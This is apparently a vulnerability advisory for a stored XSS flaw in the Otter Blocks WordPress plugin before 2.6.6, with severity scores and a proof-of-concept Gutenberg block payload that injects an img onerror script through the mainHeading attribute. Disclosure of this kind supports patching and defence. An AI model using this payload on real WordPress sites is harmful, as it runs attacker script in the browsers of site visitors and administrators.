Otter Blocks < 2.6.6 - Contributor+ Stored XSS

2024-03-2800:00:00

Dmitrii Ignatyev

otter blocks

contributor

stored xss

payload

code editor mode

themeisle blocks

review

exploit

9.1 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.2%

JSON

Description The plugin does not properly escape its mainHeadings blocks’ attribute before appending it to the final rendered block, allowing contributors to conduct Stored XSS attacks.

As a contributor, put the following payload in a post while in Code Editor mode

<!-- wp:themeisle-blocks/review {"id":"wp-block-themeisle-blocks-review-b973b49a","title":"123","mainHeading":"img src=x onerror=alert(1) style=width:150px;","className":""} /-->

The XSS will be triggered when viewing/prevewing the post